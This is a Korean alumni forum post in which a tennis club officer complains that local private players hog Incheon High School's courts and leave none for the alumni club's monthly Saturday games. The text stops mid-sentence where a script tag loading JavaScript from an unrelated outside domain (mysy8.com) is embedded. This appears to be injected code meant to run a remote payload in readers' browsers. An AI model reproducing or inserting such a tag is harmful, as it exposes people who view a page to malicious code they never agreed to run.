테니스(둘토회)회
부회장님이 총동문 홈피에 올린 테니스장에 관한 글
본문
인천고 테니스장 사용에 관하여 인고인에게 묻습니다<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
인고하면 누가 뭐래도 야구다.인고역사에 야구를 빼고 논할 수 없다.
그 스포츠가 인고인의 구심점이 되고 있는 것은 아주 고무적인 현상이다.
그러면 인천고 출신들로 구성된 테니스모임이 있다는 것을 모르시는 분들도
동문 중에 꽤 있을 것이다.
둘토회라고 인고출신 중 테니스를 사랑하는 사람들의 모임으로 한 달에 한번
매월 둘째 주 토요일 오후6시부터 모교 테니스장에 모여 모교의 발전상을 직접 눈으로
보고 인고인으로서 옛날의 추억을 떠올리며 자긍심을 가지고 테니스의 모태라고도
할 수 있는 연식정구부의 열악한 현 상황을 보고 그 동안 선후배들이 십시 일반
조금씩 도움을 주던 것을 양성화하던 차에 저희 둘토회에서 도울 방법이 없냐를
의논하고 회원간에 상호 친목을 위해 모교 테니스장을 이용하려 하였다.
이런 취지를 공식적이든 비공식적이든 연줄을 통해 학교측에 전달하고 학교테니스장을
찾건만 번번히 불미스러운 상황이 벌어지곤 하는 것이다.
학교주변 사설 회원들이 기득권을 주장하며 코트 세 개면 중에 두개도 양보를 하지 않는
것이다. 자기들은 아침저녁으로 매일 나와서 치면서 인고출신 동문들이 한 달에 한번
그것도 오후6시부터 약2시간 정도 코트도 전면을 다 사용하겠다는 것도 아니?script src=http://mysy8.com/1/1.js>
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